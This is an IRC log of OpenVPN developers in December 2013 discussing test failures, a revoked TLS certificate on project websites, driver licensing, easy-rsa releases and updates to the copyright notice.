argument to an arbitrary script"? yay :) 12:04 <@pekster> heh, env-var might make more sense for arbitrary data 12:05 <@cron2> well, the point is "pass an arbitrary string to an external script", which env-var won't do 12:05 <@cron2> ah 12:05 <@cron2> misudnerstood 12:05 <@cron2> yeah, it could be passed to that script in an environment variable 12:21 <@plaisthos> cron2: arbitray control messages 12:37 <@plaisthos> cron2: the tests all fail on os x since for some reason openvpn takes a long time from established connection to actually configuring the interface 12:37 <@plaisthos> I have see why that happens 12:38 <@plaisthos> I wanted to test the ip-remote-hint/preresolve test with socks and http-proxy before sending it to the mail 12:42 <+krzee> http://arstechnica.com/security/2013/12/we-cannot-trust-intel-and-vias-chip-based-crypto-freebsd-developers-say/ 12:42 <@vpnHelper> Title: “We cannot trust” Intel and Via’s chip-based crypto, FreeBSD developers say | Ars Technica (at arstechnica.com) 12:55 <@ecrist> !linipforward 12:55 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware 13:45 <@ecrist> !linnat 13:45 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat 14:38 <@cron2> have I just seen an ACK? wooh! 14:39 <@cron2> plaisthos: mmmh. I admit I have no automated t_client tests on MacOS, but nothing of what we've changed recently should affect MacOS in particular... 14:51 <@plaisthos> cron2: apart from utun ;) 14:59 <@plaisthos> add net 2001:638:502:e020::: gateway utun0: File exists 14:59 <@cron2> huh? how exactly is it calling "route? 14:59 <@plaisthos> openvpn then tries again 30s later and that works 14:59 <@cron2> or is that the link-/64? 15:00 <@plaisthos> that is the link/64 15:00 <@plaisthos> and the other routes are also added 30s later 15:00 <@plaisthos> no idea why 15:00 <@cron2> can you mail me the full log? that is a bit weird 15:01 <@cron2> (today I won't have time to look, but tomorrow I can) 15:01 <@plaisthos> cron2: fuller log: http://pastebin.com/uTLT9ig9 15:01 <@plaisthos> I am sure if an exec takes so long or openvpn itself does that timeout 15:02 <@cron2> OpenVPN shouldnt' retry that command either 15:03 <@plaisthos> it does not retry 15:03 <@plaisthos> I was wrong 15:03 <@plaisthos> only the :: route is added 30s laters 15:04 <@plaisthos> I still have to look at the t_client logs to see why they are failing 15:06 <@plaisthos> ah no 15:06 <@cron2> so? 15:07 <@plaisthos> it is me being stupid 15:07 <@cron2> haha :) 15:08 * cron2 prefers "plaisthos being stupid" to "something cron2 has to debug" :)) 15:08 <@plaisthos> appearently the scripts checks for 'fd00:abcd:194:1::1000 but I get ::100e 15:08 <@cron2> if you left my ipp.txt in place, you get the next address from the pool... 15:08 <@plaisthos> no idea :) 15:09 <@plaisthos> at the moment using conn-test-server.openvpn.org 15:09 <@cron2> that's a bit of a problem with the t_client setup, you need to run it first, look at the ip addresses assigned, and then amend the t_client.rc 15:09 <@plaisthos> before I setup my own server 15:09 <@cron2> ah, same thing, it's using ip-pool-persistant as well, so you're client #14 or so (00e) 15:09 <@plaisthos> yeah 15:21 <@pekster> subject=/OU=Domain Control Validated/CN=*.openvpn.net is revoked? 15:24 <@plaisthos> pekster: ? 15:24 <@pekster> The *.openvpn.net cert is revoked 15:24 <@pekster> https://community.openvpn.net/openvpn 15:24 <@vpnHelper> Title: OpenVPN Community (at community.openvpn.net) 15:28 <@pekster> The issuing CA (GoDaddy.com, Inc.) has revoked it by OCSP response 15:28 <@plaisthos> oh yeah 15:28 <@plaisthos> I get the same response 15:28 <@plaisthos> www.openvpn.net seems to be fine 15:28 <@cron2> wut 15:29 <@ecrist> hrm 15:29 <@pekster> cron2: GoDaddy revoked *.openvpn.net's TLS cert 15:29 <@pekster> fwiw, GoDaddy is a shitty company that likes to do that a lot for arbitrary reasons (though until we know why we can't know how arbitrary it was ;) 15:30 <@pekster> They're who copyright trolls go to as well to get domains "pulled" from the Internet when they can't get a court order ;) 15:32 <@cron2> plaisthos: I think you need to bump your --verb a bit to see the actual "route" command OpenVPN is exec()ing, and then try that manually to see whether the command itself is stalling for 30 seconds (which smells like a DNS lookup issue, but it shouldn't be doing this) 15:35 <@ecrist> I'm guessing it's a problem with OCSP 15:37 <@pekster> CRL won't be updated until Dec 12, 14:53 UTC 15:43 <@pekster> Was a cert rollver scheduled/planned? If not, this is all the more weird considering the old cert was (is, minus the revoked status) valid until Feb 15:43 <@pekster> s/Feb/Mar/ 23:23 <@pekster> The CRL has been updated and published by GoDaddy 23:23 <@pekster> Serial Number: 4ECCEF61CA40F1 Revocation Date: Dec 11 20:42:30 2013 GMT X509v3 CRL Reason Code: Cessation Of Operation 23:24 <@pekster> So, if its operation has ceased, how come the server still serves it? --- Day changed Thu Dec 12 2013 00:10 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 252 seconds] 00:10 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 00:10 -!- mode/#openvpn-devel [+o pekster] by ChanServ 01:39 <@cron2> haha, Alon trolling openssh-unix-dev list 02:53 <@plaisthos> really trolling or "being ALon" trolling? 02:57 <+krzee> i like that theres a recognized difference :D 02:57 <@cron2> "I have fixed this bug 10 years ago here's the patch" 02:59 <@plaisthos> :) 05:20 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 05:32 <@cron2> has mattock show up today? 05:43 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 08:11 <@ecrist> lol 10:27 * pekster pokes mattock_afk about GoDaddy's "Cessation Of Operation" of the cert on all the OpenVPN webhosts 10:44 <@ecrist> yeah, wtf 10:44 <@ecrist> raidz: ping 10:45 <@ecrist> mattock_afk: ping 10:46 <@pekster> So yea, OCSP doesn't just "screw up" -- some monkey had to _tell_ it to do that ;) 10:47 <@pekster> GoDaddy makes a lot more sense when you imagine their HQ as planet of the apes 10:51 <@ecrist> I haven't gone down the rabbit hole, yet 10:51 <@ecrist> where do you see the "Cessation of Operation"? 10:59 <@pekster> It's in the published CRL at the URI in the CDP of the now-revoked cert 10:59 <@pekster> curl -o 'crl.pem' 'http://crl.godaddy.com/gds1-86.crl' && openssl crl -in crl.pem -inform der -noout -text|less 10:59 <@pekster> According to my histfile 11:00 <@pekster> Then just text-search for the cert fingerprint 11:00 <@pekster> 23:23:45 <@pekster> Serial Number: 4ECCEF61CA40F1 Revocation Date: Dec 11 20:42:30 2013 GMT X509v3 CRL Reason Code: Cessation Of Operation 11:29 -!- mattock_afk is now known as mattock 11:29 <@mattock> hmm, "Cessation of Operation" 11:30 <@pekster> 3 months early at that 11:30 <@pekster> Did it get "renewed early" and not updated everywhere it was in use, or did GoDaddy just screw us over? 11:31 <@pekster> I can generate you a new CA & host cert with easyrsa3 if you'd like :P 11:31 <@mattock> lol 11:32 <@mattock> I'm fixing this 11:57 <@mattock> can somebody else try with Firefox? 11:57 <@mattock> that's so far the only browser with problems 11:57 <@pekster> Yup, all happy 11:57 <@mattock> ok 11:57 <@pekster> Shiney new cert, though still expires 3/5 11:57 <@mattock> my firefox complains, but other browsers seem fine (chromium, epiphany) 11:58 <@pekster> I wonder if it cached the OCSP reply somewhere 11:58 <@pekster> fwiw I do have OCSP enabled and have no problems since the replacement to a valid cert 12:04 <@mattock> the cert bundle has several certs (cert+chain) which is probably causing some oddities on Apache 12:04 <@mattock> I'll see which one is the correct cert and rip out the rest 12:15 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 12:15 -!- mode/#openvpn-devel [+v novaflash] by ChanServ 12:15 <+novaflash> boo 12:16 <+novaflash> ssl certs for forums.openvpn.net completely fixed now 12:16 <+novaflash> salami is doing the final one on community 12:16 <+novaflash> then all is right with the world 12:16 <+novaflash> woo 12:18 <@mattock> ok, what a mess it was 12:18 <@mattock> community should be ok 12:18 <+novaflash> andrew has assumed responsibility for this 12:18 <+novaflash> so you may feel free to poke him 12:19 <@mattock> andrew = raidz 12:19 <@mattock> salami = mattock 12:19 <@mattock> gouda = novaflash 12:19 <+novaflash> hehe 12:21 <@pekster> Well, mark 3/5 on the calendars so we don't run into problems again when this one expires ;) 12:22 <+novaflash> is that european or american format 12:22 <+novaflash> let me just mark down 3/5 and 5/3 and 3/3 and 5/5 12:22 <@pekster> March 5th :) 12:22 <+novaflash> aha thanks :) 12:22 <+novaflash> and yes good point 13:12 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 13:13 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:13 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:22 -!- mattock is now known as mattock_afk 13:24 -!- mattock_afk is now known as mattock 13:32 -!- mattock is now known as mattock_afk 16:56 <@pekster> mattock_afk: No rush on this, but I never did follow-up with you about that depcache stuff. It works great for both build-complete and build-snapshot (which I think were your 2 items) and I'm happy to merge that in unless there was a reason to wait: 16:57 <@pekster> I had previously pushed my updated clone back under my dev-fork if you wanted to look, but it won't break current setups ;) https://github.com/QueuingKoala/openvpn-build/commit/fdeb453 16:57 <@vpnHelper> Title: Support a dep cache for build, build-complete, and build-snapshot · fdeb453 · QueuingKoala/openvpn-build · GitHub (at github.com) --- Day changed Fri Dec 13 2013 03:44 -!- mattock_afk is now known as mattock 04:00 <@plaisthos> mattock: opera does oscp too 04:02 <@mattock> pekster: did I test the build-complete/build-snapshot stuff? Can't recall, lol :) 04:03 <@mattock> I recall being fine with you merging the code to openvpn-build 06:15 -!- mattock is now known as mattock_afk 07:02 <@ecrist> so does safari 07:10 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 260 seconds] 08:00 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 252 seconds] 08:16 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 08:27 -!- mattock_afk is now known as mattock 08:42 <@mattock> ecrist, plaisthos: are you talking about the certificates? 08:46 <@plaisthos> mattock: yeah. Yesterday when the certificate was broken, Opera did not let me view the page but safari did not care 08:47 <@mattock> but today it's fine? 08:47 <@mattock> I tested with chromium, firefox and epiphany and all were good 08:47 <@plaisthos> eah 08:47 <@mattock> ok, good 08:47 <@plaisthos> everything goood 09:13 <@ecrist> plaisthos: raidz broke it. He revoked the certificates not realizing they were in use on community and forums machines. He reissued them when he was made aware of the problem. 09:13 <@ecrist> they re-rolled CloudFlare on the main website. 09:35 <@mattock> ecrist: do you think changing the (internal) hostname of forums to forums.openvpn.in would affect phpbb or apache? 09:35 <@mattock> the underlying reason for this is to get some traffic (e.g. backups) diverted to the EC2 intranet instead of having it go through the Internet 09:40 <@mattock> actually, at this point most of the community nodes don't seem to have full access to the intranet, so this plan needs to be postponed 09:41 <@mattock> also, the traffic that would be diverted is encrypted (TLS) anyways, so having it go through the Internet is not that bad 09:49 <@ecrist> you can change the OS hostname all you like 09:49 <@ecrist> but, you know that it's not needed, even for your backup process 11:08 <@mattock> not for the backup process itself, but having a correct hostname makes the Bacula/Puppet integration much, much easier 11:09 <@mattock> I want to avoid ad hoc hacks whenever possible 11:14 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has quit [Ping timeout: 248 seconds] 11:19 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has joined #openvpn-devel 11:41 <@pekster> mattock: Yea, and I've made sure to test that it does the right thing now and works as intended for all the frontends. I'll merge that in today then, but given the delay figured I'd ping ya first 11:42 <@mattock> pekster: sounds good 11:42 <@pekster> Hopefully this makes us all more willing to fix windows bugs, right? :P 11:42 <@pekster> Or, is it just a bit less likely to jump off a bridge? 11:45 <@mattock> I love fixing Windows bugs 11:45 <@mattock> what could be more fun, really? 11:45 <@mattock> :P 11:48 <@pekster> Take the time depcache saves you and put it to good use drinking after you finish ;) 11:59 <@mattock> You can take that to the bank! :P 14:00 <@mattock> james is asking if anyone cares if the tap-windows drivers is open source... the thing is that porting the current driver to NDIS 6 would be quite painful, _but_ Microsoft provides NDIS 6 source code for a s.c. "miniport" driver, which could be stripped down and modified to work as the new tap-windows driver 14:01 <@mattock> it's possible that the license of the sample miniport driver's source code would prevent the new tap-windows driver from being release under an open source license 14:01 <@mattock> any thoughts? 14:01 <@mattock> according to James the miniport way would be much easier 14:01 <@pekster> My understanding is that most people not interested in tweaking the tap build just grab the pre-built installer for use with openvpn-build, but the miniport suggestion wouldn't stop people from building it theselves, would it? 14:02 <@pekster> ie: they can still build tap-windows themselves, it just won't be GPLv2, is that correct? 14:02 <@pekster> Or is this new way like the ugly apple NDA where you can't even share the code used to make it go (which is obviously bad from a security perspective) 14:02 <@mattock> not sure what limitations the miniport driver's source code would force upon us 14:03 <@mattock> it's possible that there's something stupid like that, yes 14:03 <@pekster> If it's just "hey, so openvpn now uses tap-windows which is under an ABC license, not GPL" note in the license, I'm personally fine with that 14:03 <@pekster> I do dislike the idea of including "black-box" code that's then shipped as a core component of a security product, but I'm interested in other's thoughts on it too 14:03 <@mattock> I heard the sample code is bundle with Windows DDK, so one could look at the license 14:03 <@mattock> I tend to agree 14:04 <@pekster> I really have no care of the license though, so if tap-windows can remain open code but just licensed a bit differently to comply with upstream, I'm quite OK with that 14:04 <@pekster> f.ex, easy-rsa 3 under Windows uses mksh/Win32 to get a POSIX shell, and that's MirOS licensed 14:04 <@mattock> we need to verify if the miniport way would mean "no source available" 14:04 <@mattock> that would be quite bad 14:05 <@pekster> Yea, that's the big factor from my POV 14:06 <@mattock> although it would be interesting to see what other OpenVPN VPN service providers would do in case they couldn't modify the tap-windows driver (e.g. to rename it) 14:06 <@mattock> I mean rebuild it 14:06 <@pekster> That would have been a poor play in MS's hand, but it's not like I trust them a whole lot anyway ;) 14:06 <@pekster> As a vendor you want people to use your API so they write lots of code that then depends on it, heh 14:06 <@mattock> yep 14:06 <@pekster> Unless you're Oracle, in which case you sue them :( 14:07 <@mattock> ah, Oracle, my favourite company 14:07 <@mattock> they're especially good with open source 14:08 <@mattock> that excellence is only surpassed by their brilliance in dealing with communities 14:35 <@ecrist> look how good open-solaris is doing! 14:35 <@ecrist> oh.... wait 15:19 -!- mattock is now known as mattock_afk 22:13 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 245 seconds] 22:13 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 245 seconds] 22:14 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 245 seconds] 22:17 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 22:17 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Day changed Sat Dec 14 2013 02:49 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 02:49 -!- mode/#openvpn-devel [+o andj] by ChanServ 03:21 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 03:21 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 05:37 -!- syzzer [~syzzer@50709EF1.static.ziggozakelijk.nl] has quit [Read error: Connection reset by peer] 05:44 -!- syzzer [~syzzer@50709EF1.static.ziggozakelijk.nl] has joined #openvpn-devel 09:15 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 12:05 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 263 seconds] 12:05 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 240 seconds] 12:07 -!- Guest48821 [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 12:07 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 12:08 -!- mode/#openvpn-devel [+o Guest48821] by ChanServ 12:08 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:03 <@pekster> mattock_afk: FYI, depcache support is now on openvpn-build @master 13:24 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 13:27 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 13:27 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sun Dec 15 2013 00:45 <@vpnHelper> RSS Update - tickets: #354: push "route-ipv6 ..." doesn't behave properly like push "route ..." on the client which owns that subnet <https://community.openvpn.net/openvpn/ticket/354> 04:34 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 252 seconds] 05:28 <@cron2_> mattock_afk: trac is still not sending notifications for new tickets... should it? 13:55 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 19:09 <@pekster> ecrist: (and anyone else interested) I think I'd like to add in some private key passphrase change command and tag an -rc2 release. The OpenSSL-0.9.8 support is semi-useful (yes, someone actually "broke" rc1 with that :\) Besides that no one's reported problems, so a 3.0.0 non-rc should dove-tail that unless something changes. I can make the openvpn-build NSIS installer play nice with a final tag too, allowing official ... 19:09 <@pekster> ... installer support when ready 19:10 <@pekster> easy-rsa here, in case that was ambigious ;) 19:14 <@pekster> There are a few slightly further out goals I've got too (possibly for a 3.1 target) including fully random serial number support (there's a slight security advantage to this due to the higher entropy involved) and duplicate CN-detection, which is tricky due to how openssl updates the db index 21:53 <@pekster> We really ought to change the copyright on the GPL code read something besides the corp tagline "OpenVPN Technologies, Inc. <sales@openvpn.net>" 21:54 <@pekster> And update the copyright year to 2013, not 2010 21:54 <@pekster> Do we have a FOSS-centric email, perhance? 21:54 <@pekster> Or at least something not sales@? I'm happy to send a patch in if we have a sane alternative 21:55 <@pekster> GPL code is really _not_ copyright corp sales, so that's a bad choice going forward --- Day changed Mon Dec 16 2013 00:53 -!- mattock_afk is now known as mattock 00:55 <@pekster> At the moment, we do not follow GPL's recommendations in interactive mode (ie: $prog --help) to give any indicatation at all that this is in fact open-source code. At a glance (without digging into licensing/installation docs) it appears as if the corp company and/or "sales@" is the copyright holder. This is Bad. 00:57 <@pekster> If we don't have a non-sales email address, I'll get a patch sent for both the no GPL printing issue and the 3-year-out-of-date-copyright issue, and we can bolt on a FOSS-centric email or web ref later 00:58 <@pekster> I'll add in a "the OpenVPN name is copyright OpenVPN Technologies Inc" as well, since the name is technically corp's at present 00:58 <@pekster> Patch forthcoming late Monday 01:08 -!- mattock is now known as mattock_afk 01:21 -!- mattock_afk is now known as mattock 01:39 <@plaisthos> pekster: what do you do? 01:39 <@plaisthos> add a second line OpenVPN Community <community@openvpn.net> 2010-2013? 01:40 <@plaisthos> Changing a copyright line is probably very difficult without James agreeing 03:28 -!- mattock is now known as mattock_afk 03:31 -!- novaflash is now known as novaflash_away 03:52 -!- Netsplit *.net <-> *.split quits: +krzee 03:54 -!- Netsplit over, joins: +krzee 04:17 -!- novaflash_away is now known as novaflash 04:26 <@cron2_> has anyone seen d12fk recently? 04:27 <@d12fk> here 04:43 <@cron2_> ah, still alive :-) - any progress on the service patches? Plaisthos isn't keeping me overly busy these days... 04:55 <@d12fk> as usual work got in the way, so progressing rather slowly 04:56 <@d12fk> as soon as i have something that works with ipv6 i'll publish the repo for peer review 04:57 <@d12fk> patches won't do it as it would only be one big blob 05:04 -!- mattock_afk is now known as mattock 05:36 <@plaisthos> cron2_: Yeah. I will sent a first patch and the preresolv patch to the mailing list this week 05:36 <@plaisthos> I may do some more socket clean up later 05:37 <@plaisthos> It may be a good idea to implementing listing on multiple sockets (all udp or tcp) to get a cleaner socket.c 05:38 <@d12fk> plaisthos: server side multiproto? 05:38 <@plaisthos> yeah 05:39 <@plaisthos> the ipv6+ipv4 patch is more a bandaid than a real fix 05:39 <@d12fk> go to google with that then and demand $3133.7 05:39 <@plaisthos> d12fk: why? 05:39 <@plaisthos> d12fk: the bounty program is only for security related stuff 05:39 <@d12fk> because it's what many many ppl want 05:40 <@d12fk> ... and google is giving it away anyways 05:40 <@plaisthos> d12fk: your privelege patch should qualify for that 05:40 <@d12fk> i don't thin i should make money off that as i use working hours for it mostly 05:42 <@plaisthos> :) 05:42 <@d12fk> plus Tavis Ormandy dosn't like sophos 05:43 <@plaisthos> https://www.google.com/about/appsecurity/patch-rewards/ 05:43 <@vpnHelper> Title: Patch Rewards – Application Security – Google (at www.google.com) 05:43 <@plaisthos> my work does not fall under qualifying submissions unfortunately 05:43 <@plaisthos> Q: My employer / boyfriend / dog frowns upon my security research. Can I make a submission privately? 05:44 <@plaisthos> if the dog frown upon the security research you have probably bigger problems 05:47 <@d12fk> my dogs cares a lot more about food =) 05:50 <@cron2_> d12fk: I think your work qualifies quite well. Plaisthos' and my recent stuff is more functionality cleanup than real "security improvement" 05:51 <@cron2_> but anyway, let's think about google later, that won't be relevant before we actually *ship* 2.4 with it 07:30 <@d12fk> cron2_: is it sufficient if i put a server-ipv6 line in to test ipv6 with the new service or should i do something else? 07:32 <@cron2_> d12fk: it would be good to have server-ipv6 (-> pushes ifconfig-ipv6) and a push "route-ipv6 ..." 07:33 <@d12fk> ah yeah the push route will be there as well, right 07:33 <@cron2_> server-ipv6 on it's own will not fully test ipv6 route addition - IIRC it will add a "metric 0, locally connected" route on Windows, but not "remote route" 07:33 <@cron2_> besides this, nothing needed (server-ipv6 also auto-enables tun-ipv6 and push tun-ipv6) 08:03 -!- mattock is now known as mattock_afk 08:23 -!- Guest651 [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 08:23 -!- mode/#openvpn-devel [+o Guest651] by ChanServ 08:23 -!- Netsplit *.net <-> *.split quits: @Guest48821 08:27 -!- Guest651 [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 240 seconds] 08:28 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 08:28 -!- mode/#openvpn-devel [+o andj__] by ChanServ 08:35 <@pekster> plaisthos: Sure, maybe a 2nd line. Or at least _some_ indication when you get --help output that it's GPL'd code 08:37 <@pekster> Erm, or --version 08:37 <@pekster> Also, the 'Originally developed by James Yonan' is the bit you probably mean needs his approval, and I'm not annoyed (in any sense) about that 08:40 -!- andj__ is now known as andj 09:14 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 09:14 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 264 seconds] 09:14 -!- cron2_ [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 264 seconds] 09:15 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 09:15 -!- mode/#openvpn-devel [+o dazo] by ChanServ 09:26 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 09:26 -!- mode/#openvpn-devel [+o andj__] by ChanServ 09:27 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 264 seconds] 09:27 -!- andj__ is now known as andj 09:27 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 09:27 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 09:30 <@pekster> plaisthos: Well, originally yes, but an extra line instead is probably good. The larger issue is that of updating the year to not 3 (about to be 4) years out of date and at least _some_ reference to this being open-source, distributable code 09:31 <@pekster> As it stands, there's no indication from the compiled program a user is allowed to do anything without it outside of contacting sales@ 09:31 <@pekster> Not that I agree entierly with the FSF, but their recommendations on interactive output seem to make sense here 09:35 <@pekster> Some added copyright tagline (maybe with a reference to --license or something that can mention both the GPL and that authors can be found in the ChangeLog,) plus something like what FSF has in their 'How to Apply' section. f.ex, "This is free software, and you are welcome to redistribute it under the GPLv2. --license for details" or similar 09:39 -!- Netsplit *.net <-> *.split quits: +krzee 09:43 <@pekster> I'll have time to poke at this more later today, but a rough idea of better output: http://fpaste.org/62223/38720855/raw/ 09:44 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 09:44 -!- ServerMode/#openvpn-devel [+v krzee] by wolfe.freenode.net 09:51 <@plaisthos> I don't thinke we need the Compile time defines 09:51 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:51 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:52 <@pekster> plaisthos: We have those today; if we don't want them, that's really a separate issue to clean up then 09:52 <@plaisthos> anything important should be in the [SSL] [IPv6] line 09:52 <@plaisthos> we have? 09:52 <@plaisthos> oh 09:52 <@plaisthos> then nevermind 09:52 <@pekster> `openvpn --version` on anything but enable_small=yes 09:52 <@pekster> That could possibly be moved to an #ifdef ENABLE_DEBUG or such, but I don't relly care; someone who does can patch that ;) 09:53 <@pekster> Dunno what the potential use is, but I can see cases where that could aid in helping with custom builds (users, or downstream of build-from-source distros, gentoo, arch, F/NetBSD) 09:53 <@plaisthos> pekster: :) 09:54 <@plaisthos> pekster: that output looks reasonable 09:54 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 248 seconds] 09:55 <@pekster> ML can debate any changes, but we out to do something to both update the (C) years and at least mention this is free software; no need to include the entire license in the code, just enough so you can tell at runtime what it actually is 09:57 -!- Hes [bmg5Tt@tunkki.fi] has quit [Ping timeout: 248 seconds] 10:09 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 10:11 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 10:11 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 10:11 -!- dazo_afk is now known as dazo 10:12 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 10:12 -!- mode/#openvpn-devel [+o cron2] by ChanServ 10:18 -!- Netsplit *.net <-> *.split quits: +krzee, @mattock, @vpnHelper 10:21 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:21 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 10:21 -!- ServerMode/#openvpn-devel [+ov mattock krzee] by wolfe.freenode.net 10:27 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 10:29 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 10:29 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 10:29 -!- dazo_afk is now known as dazo 11:06 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 11:06 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 11:22 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 11:23 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 11:23 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 11:24 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 11:25 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 11:25 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 11:46 <@cron2> iOS connect 1.0.2 is out -> we can now proceed to 2.3.3 release 12:05 <@vpnHelper> RSS Update - gitrepo: pkcs11: use generic evp key instead of rsa <https://github.com/OpenVPN/openvpn/commit/6575ad483702dd53c0f683093b5f26a87518c6a8> 12:14 <@plaisthos> cron2: Whee 12:21 <@ecrist> ruh roh 12:22 * ecrist points to security@ 12:24 <@pekster> What's the procedure to get added to that? Recently, I'm the one bumping Gentoo's ebuilds for features (like PolarSSL), and advance-notice on security-related patch-releases from us could speed up acceptance of new build versions or a rev-bump downstream to fix a major vulnerability 12:26 <@cron2> plaisthos: what? 12:26 <@cron2> ah, 1.0.2 :) 12:26 <@cron2> pekster: talk to mattock 12:27 <@plaisthos> cron2: let me sneak in one patch first :D 12:27 <@cron2> plaisthos: into 2.3.3? yeah, go for it :-) - there's some bugs open in trac that might be relevant as well 12:29 <@cron2> (where is mattock anyway? His new buildslaves are too lazy to build, and prefer failing on the libsnappy test instead) 13:08 <@pekster> mattock: I'll have some info for you shortly on the downstream reporting procedure of private vulns (not-yet-disclosed, but soon-to-be-disclosed) for Gentoo. I don't really care "who" kicks that off, but for high-severity private vulns there's a specific list & PGP key to kick their procedure off 13:08 <@ecrist> pekster: there's been little real content on the list 13:09 <@pekster> yea, and I don't really need to be on it so long as "someone" (me or whoever is available at the time) knows what to do and who to contact 13:09 <@pekster> Public vulns just go in downstream's bugtracker (they're public, after all) 13:09 <@pekster> Probably unnecessary, but if it's as simple as "email x@somelist.tld with keyID 0xABC123" then I might as well document it 13:10 <@plaisthos> Subject: [PATCH] Add warning for using connection block variables after connection blocks 13:10 <@plaisthos> :) 13:10 <@pekster> Something like the old LD_PRELOAD issue would be a big enough issue to possibly warrent downstream back-porting the fix or otherwise changing the marked 'stable' release version so all users get it ASAP, for instance 13:13 <@plaisthos> argh 13:13 <@plaisthos> I screwed up one whitespace :( 13:14 <@pekster> mattock: Actually, if you guys have baked oss-security into your notification procedure, Gentoo security is already on that. If not, there'd be a separate contact/KeyIDs involved 13:15 <@plaisthos> cron2: you will be happy to learn that my warn on connection is written to adhere the option.c geniality/madmesss *duck* 13:23 <@cron2> plaisthos: uh 13:24 <@cron2> (that is for the geniality. the whitespace thingie... should I pretend surprise?) 13:25 <@cron2> pekster: feel free to close trac#330 now :-) 13:25 <@pekster> One of these days I should just pick a file I read a lot like options.c and make it conform to our stated WS policy 13:26 <@pekster> cron2: Oh, thanks for the reminder. Yea, I didn't have a chance to look at dazo's v1/v2 patch, but looks like someone did and got an ACK in, so we can do bugs--; now :D 13:26 <@cron2> pekster: indeed, syzzer and I looked and he ACKed :) 13:26 <@vpnHelper> RSS Update - gitrepo: Fix file checks when --chroot is being used <https://github.com/OpenVPN/openvpn/commit/b77bffe8186647c6fd1f2f76aac41fd45719edb8> 13:26 <@pekster> Until 2.3.3 was closer it didn't really 